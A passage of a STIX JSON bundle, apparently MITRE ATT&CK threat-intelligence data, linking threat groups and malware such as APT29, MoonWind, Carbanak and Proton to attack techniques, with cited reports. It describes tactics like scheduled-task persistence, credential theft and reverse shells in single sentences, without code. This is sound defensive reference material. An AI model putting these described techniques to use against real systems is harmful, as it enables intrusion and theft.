            "description": "[APT29](https://attack.mitre.org/groups/G0016) used <code>scheduler</code> and <code>schtasks</code> to create new tasks on remote hosts as part of lateral movement.(Citation: Volexity SolarWinds) They have manipulated scheduled tasks by updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration.(Citation: FireEye SUNBURST Backdoor December 2020) [APT29](https://attack.mitre.org/groups/G0016) also created a scheduled task to maintain [SUNSPOT](https://attack.mitre.org/software/S0562) persistence when the host booted during the 2020 SolarWinds intrusion.(Citation: CrowdStrike SUNSPOT Implant January 2021) They previously used named and hijacked scheduled tasks to also establish persistence.(Citation: Mandiant No Easy Breach)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                },
                {
                    "source_name": "FireEye SUNBURST Backdoor December 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html",
                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                },
                {
                    "source_name": "CrowdStrike SUNSPOT Implant January 2021",
                    "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/",
                    "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."
                },
                {
                    "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016",
                    "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.",
                    "source_name": "Mandiant No Easy Breach"
                }
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2021-04-19T14:07:39.269Z",
            "created": "2017-05-31T21:33:27.049Z"
        },
        {
            "id": "relationship--818a401d-dd4d-426a-b89c-d33625380b8b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MoonWind](https://attack.mitre.org/software/S0149) obtains the victim username.(Citation: Palo Alto MoonWind March 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto MoonWind March 2017",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"
                }
            ],
            "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-03-16T17:16:53.469Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--fce2d07b-7bc7-497a-b21a-75a23fbccf50",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A module in [Prikormka](https://attack.mitre.org/software/S0113) collects information from the victim about the current user name.(Citation: ESET Operation Groundbait)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Operation Groundbait",
                    "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"
                }
            ],
            "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2019-07-26T20:45:14.743Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5b5f2424-ff4e-43ab-a08f-fab2b284041d",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826",
            "relationship_type": "uses",
            "target_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html",
                    "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.",
                    "source_name": "FireEye Fin8 May 2016"
                }
            ],
            "description": "(Citation: FireEye Fin8 May 2016)",
            "type": "relationship",
            "modified": "2019-03-22T20:21:57.788Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--2d1beee9-0b61-4e66-9487-97f1665bbedc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Brave Prince](https://attack.mitre.org/software/S0252) lists the running processes.(Citation: McAfee Gold Dragon)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/",
                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
                    "source_name": "McAfee Gold Dragon"
                }
            ],
            "source_ref": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-04-21T23:09:31.573Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--7e221899-d90a-4c9a-8ea4-77110c45f0f9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some [Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses multiple channels for C2, such as RomeoWhiskey-Two, which consists of a RAT channel that parses data in datagram form and a Proxy channel that forms virtual point-to-point sessions.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.",
                    "source_name": "Novetta Blockbuster RATs"
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091",
            "type": "relationship",
            "modified": "2019-09-09T19:15:45.673Z",
            "created": "2017-05-31T21:33:27.068Z"
        },
        {
            "id": "relationship--a5dda6bc-4697-4e2e-8207-85e9f0d05d43",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used SMB over ports 445 or 139 for C2. The group also established encrypted connections over port 443.(Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                },
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "source_name": "US-CERT APT Energy Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2019-03-22T20:13:49.670Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--52e319bc-d6ee-4ab5-a3ae-36f0477cac67",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN8](https://attack.mitre.org/groups/G0061) has distributed targeted emails containing links to malicious documents with embedded macros.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"
                }
            ],
            "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7",
            "type": "relationship",
            "modified": "2019-03-22T20:21:57.786Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--a68efc4c-4e5d-448a-8df4-2cf1980e716e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[More_eggs](https://attack.mitre.org/software/S0284) has the capability to gather the IP address from the victim's machine.(Citation: Talos Cobalt Group July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos Cobalt Group July 2018",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"
                }
            ],
            "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2019-09-16T19:41:10.245Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e0292b89-50c2-4b62-8471-6a1b27dc7fc3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) gathers the local system time from the victim\u2019s machine.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "source_name": "ESET InvisiMole June 2018"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "type": "relationship",
            "modified": "2020-07-20T13:25:54.929Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--5cceffd9-5818-4481-bce6-4e326548d6b4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MoonWind](https://attack.mitre.org/software/S0149) obtains the number of removable drives from the victim.(Citation: Palo Alto MoonWind March 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto MoonWind March 2017",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"
                }
            ],
            "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643",
            "type": "relationship",
            "modified": "2020-03-16T17:16:53.454Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--ce7b27ac-fff6-4d3c-bceb-50c16f462552",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can retrieve and execute additional [PowerShell](https://attack.mitre.org/techniques/T1059/001) payloads from the C2 server.(Citation: FireEye MuddyWater Mar 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "source_name": "FireEye MuddyWater Mar 2018"
                }
            ],
            "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-31T22:21:47.793Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--a95c8f0a-a7ba-4af0-b3ac-5abaf44ff563",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Proton](https://attack.mitre.org/software/S0279) gathers credentials in files for 1password.(Citation: objsee mac malware 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://objective-see.com/blog/blog_0x25.html",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "source_name": "objsee mac malware 2017"
                }
            ],
            "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21",
            "type": "relationship",
            "modified": "2021-01-22T16:19:13.138Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ee998ebb-2960-45db-bced-7c8081dfc030",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Proton](https://attack.mitre.org/software/S0279) uses macOS' .command file type to script actions.(Citation: objsee mac malware 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://objective-see.com/blog/blog_0x25.html",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "source_name": "objsee mac malware 2017"
                }
            ],
            "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56",
            "type": "relationship",
            "modified": "2020-06-12T17:37:53.694Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--761edf58-baad-4626-acca-a137c251b0e6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MoonWind](https://attack.mitre.org/software/S0149) can delete itself or specified files.(Citation: Palo Alto MoonWind March 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto MoonWind March 2017",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"
                }
            ],
            "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-16T17:16:53.515Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5c84cfe2-a395-47c6-831a-4491f8585a00",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A module in [Prikormka](https://attack.mitre.org/software/S0113) collects passwords stored in applications installed on the victim.(Citation: ESET Operation Groundbait)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Operation Groundbait",
                    "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"
                }
            ],
            "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0",
            "type": "relationship",
            "modified": "2020-03-20T00:00:56.860Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--51742efe-5f0c-4fbf-9eb7-5e765a0a408f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Remsec](https://attack.mitre.org/software/S0125) can ping or traceroute a remote host.(Citation: Kaspersky ProjectSauron Technical Analysis)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky ProjectSauron Technical Analysis",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"
                }
            ],
            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "type": "relationship",
            "modified": "2020-03-11T17:45:33.769Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--312c929a-abf6-44c1-95d6-6dde60c7a3fe",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Privesc-PowerUp modules that can query Registry keys for potential opportunities.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/PowerShellMafia/PowerSploit",
                    "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.",
                    "source_name": "GitHub PowerSploit May 2012"
                },
                {
                    "url": "http://powersploit.readthedocs.io",
                    "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.",
                    "source_name": "PowerSploit Documentation"
                }
            ],
            "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2019-04-24T23:43:08.263Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--5070c502-1f3b-4e8c-8eb5-2ea5379fd8f4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[VERMIN](https://attack.mitre.org/software/S0257) collects data stored in the clipboard.(Citation: Unit 42 VERMIN Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 VERMIN Jan 2018",
                    "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"
                }
            ],
            "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
            "type": "relationship",
            "modified": "2020-03-16T19:50:58.017Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0829e860-9ea0-43c9-8bfd-55b4236d67af",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[VERMIN](https://attack.mitre.org/software/S0257) gathers the local IP address.(Citation: Unit 42 VERMIN Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 VERMIN Jan 2018",
                    "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"
                }
            ],
            "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-16T19:50:58.018Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--51c5e624-d08e-4750-91f9-fdc98ec56552",
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            "description": "[MoonWind](https://attack.mitre.org/software/S0149) completes network communication via raw sockets.(Citation: Palo Alto MoonWind March 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto MoonWind March 2017",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"
                }
            ],
            "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2020-03-16T17:16:53.542Z",
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        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Rover](https://attack.mitre.org/software/S0090) searches for files on local drives based on a predefined list of file extensions.(Citation: Palo Alto Rover)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Rover",
                    "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/"
                }
            ],
            "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2020-03-16T17:46:07.873Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RunningRAT](https://attack.mitre.org/software/S0253) gathers the OS version, logical drives information, processor information, and volume information.(Citation: McAfee Gold Dragon)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/",
                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
                    "source_name": "McAfee Gold Dragon"
                }
            ],
            "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-04-21T23:09:31.616Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--46829b2b-0f05-4022-a254-e8b26fdfb860",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) uses HTTP for C2.(Citation: Malwarebytes SmokeLoader 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "url": "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/",
                    "description": "Hasherezade. (2016, September 12). Smoke Loader \u2013 downloader with a smokescreen still alive. Retrieved March 20, 2018.",
                    "source_name": "Malwarebytes SmokeLoader 2016"
                }
            ],
            "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:34:29.219Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--2e77d363-e38f-40ad-a6ef-9222dc12793d",
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            "description": "[Naikon](https://attack.mitre.org/groups/G0019) uses commands such as <code>netsh advfirewall firewall</code> to discover local firewall settings.(Citation: Baumgartner Naikon 2015)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "source_name": "Baumgartner Naikon 2015"
                }
            ],
            "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2019-04-10T15:59:09.517Z",
            "created": "2017-05-31T21:33:27.053Z"
        },
        {
            "id": "relationship--fcf18dc5-8ac0-4ae7-84b9-c47ebd468022",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--34d6a2ef-370e-4d21-a34b-6208b7c78f31",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--c1a452f3-6499-4c12-b7e9-a6a0a102af76",
            "type": "relationship",
            "modified": "2020-01-14T17:23:25.295Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--54847cda-c38f-4a5b-8328-d0e6812b837b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Carbanak](https://attack.mitre.org/software/S0030) has a command to create a reverse shell.(Citation: FireEye CARBANAK June 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye CARBANAK June 2017",
                    "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"
                }
            ],
            "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T16:49:13.594Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
